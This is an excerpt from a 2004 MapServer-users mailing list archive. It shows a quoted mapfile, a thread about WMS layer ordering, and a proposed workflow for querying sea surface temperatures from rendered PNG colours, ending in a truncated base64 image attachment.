>>     SIZE 8
>>     TEXT "BLUE | LAKE"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 9
>>       POSITION LL
>>       PARTIALS FALSE
>>       WRAP "|"
>>       OFFSET 15 -10
>>       FORCE true
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Lakes"
>>     "WMS_ABSTRACT" "Lakes layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Buildings
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Buildings
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "buildings.html"
>>   CLASS
>>     NAME "Buildings"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Buildings"
>>     "WMS_ABSTRACT" "Buildings layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME BuildingCenters
>>   TYPE POINT
>>   STATUS ON
>>   DATA BuildingCenters
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "BuildingCenters"
>>     COLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 4
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:BuildingCenters"
>>     "WMS_ABSTRACT" "BuildingCenters layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> END # Map File
>>
>>
>> nicolas.fortin at ec.gc.ca wrote:
>>
>>> Hi Heryk,
>>>
>>> Only the layer 1 is set to default, all other are set to OFF.  I 
>>> thought that doesn't matter in WMS cause you only got the layers you 
>>> are querying.
>>>
>>> I set layer 1 to ON and
>>> 1- try LAYERS=2,1 and only got layer 2
>>> 2- try LAYERS=1 and got nothing
>>>
>>> I set layer 1 to OFF (like the others) and
>>> 1- try LAYERS=2,1 and only got layer 2
>>> 2- try LAYERS=1 and got nothing
>>>
>>> Weird...
>>> Nick
>>>
>>> -----Message d'origine-----
>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>> Envoy? : Monday, January 12, 2004 4:00 PM
>>> ? : 'nicolas.fortin at ec.gc.ca'
>>> Objet : RE: [Mapserver-users] WMS LAYERS=
>>>
>>>
>>> Hi,
>>> Are your layers set to "default" in the mapfile? Is so, you will be 
>>> calling layers 1,2 and all the layers that are set to default! So 
>>> your might be calling layers 1 and 2 a second time around! Try 
>>> setting them to "ON".
>>>
>>> Bonne chance!
>>> H?ryk
>>>
>>>
>>> -----Message d'origine-----
>>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy?
>>> : Monday, January 12, 2004 3:30 PM ? : 
>>> mapserver-users at lists.gis.umn.edu Objet
>>> : [Mapserver-users] WMS LAYERS=
>>>
>>>
>>> Hi list,
>>>
>>> When I make a WMS request with the layers parameters like LAYERS=2,1
>>>
>>> In accordance to the OGC WMS Spec, layer 1 is suppose to be at the 
>>> top of layer 2 but it isn't the case...why??
>>>
>>> Even if I change to LAYERS=1,2 ... no change
>>>
>>> In the mapfile, layer 1 is at the end of the file and is always the 
>>> top layer on others applications using this mapfile.
>>>
>>>
>>> Thx for your help,
>>>
>>> Nicolas Fortin
>>> Math?maticien, Programmeur, Analyste de donn?es
>>> SMC-Qu?bec Hydrologie, Environnement Canada
>>> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
>>> (418)648-2516
>>> nicolas.fortin at ec.gc.ca 
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>>
>>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>
>
>



-- 
  



From cpurvis at asg.sc.edu  Thu Jan 15 11:24:21 2004
From: cpurvis at asg.sc.edu (Charlton Purvis)
Date: Thu, 15 Jan 2004 14:24:21 -0500
Subject: [Mapserver-users] first-pass MapServer raster query workflow
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3DB9D.2DA6FD23
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hey, Frank:

Don't know if I should bore the MapServer or GDAL lists w/ this or not.
I'll fire it to MapServer people in case they're interested.

Goal is to create a quick raster query hack.

Quick question.  I know that we can't currently rely on MapServer to
preserve the color index of a PNG.  But can we count on it to preserve
the RGB?  If so, the hack that I'm forwarding below should work.

Attached image contains in-situ SST's (sea surface temps.) on top of
AVHRR SST's.

Thanks,

Charlton

-----Original Message-----
From: Charlton Purvis=20
Sent: Thursday, January 15, 2004 12:33 PM
To: remotesensing at caro-coops.org
Subject: [remotesensing] first-pass MapServer raster query workflow

If memory serves, MapServer mucks up the color index.  At least in terms
of the original PNG index which doesn't necessarily match the resulting
image's index.  Well, what about the RBG?  I hope that the RGB is
preserved because that's what I'm basing my workflow on.

For this example, let's assume we're playing w/ an AVHRR SST PNG.  And
they
can also click on/off in-situ layers like SST and winds.

* User displays the AVHRR + in situ SST's + wind barbs.
* User zooms.
* User queries a point.

What was I originally given?

* The original AVHRR PNG.
* Some sort of AVHRR PNG color index =3D> SST =3D> RGB lookup table.

What did I do w/ the above two bullets when I got the data in the first
place?

* I created a colorbar legend layer based on the second bullet that sits
in my database as a georeferenced table.  So, in that table I've got an
RGB=3D>SST lookup capability among other things.

So returning to the first three bullets, where can I go?

* I vote NOT to go to the original PNG for my color index.  Instead, let
MapServer take care of any zooming and reprojection issues.  So when the
user queries the point, here's the trick:  dump a NEW image to disk that
contains ONLY the AVHRR image (call this AVHRR_dump.PNG).
* Take the user-click-ed (x,y) and pass it to a script that will do the
following:
  * Pull the RGB value from AVHRR_dump.PNG at (x,y).
  * Lookup the matching SST from the database for that RGB.
  * Pass it back to the normal query results data train.

And then I'm done.  What do you think?  Again, if it turns out that
RGB's can get corrupted (like the index), then I'm out of luck.  Can
anyone confirm whether or not RGB's are sacred?  I know this camp is
used to thinking in terms of the index.

The script to do the xy2sst is already done.  Was a snap.  I know this
is more of a hack than anything.  I would prefer to go to the HDF on
Brock's server, anyway.  But this is a start and as long as RGB's are as
good as gold, I'm OK.

Charlton

=20
=20
=20
Charlton Purvis
(803) 777-8858 : voice
(803) 777-3935 : fax
cpurvis at sc.edu
=20
Baruch Institute
University of South Carolina
Columbia, SC 29208


------_=_NextPart_001_01C3DB9D.2DA6FD23
Content-Type: image/png;
	name="CAAZODI3.png"
Content-Transfer-Encoding: base64
Content-Description: CAAZODI3.png
Content-Disposition: attachment;
	filename="CAAZODI3.png"

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
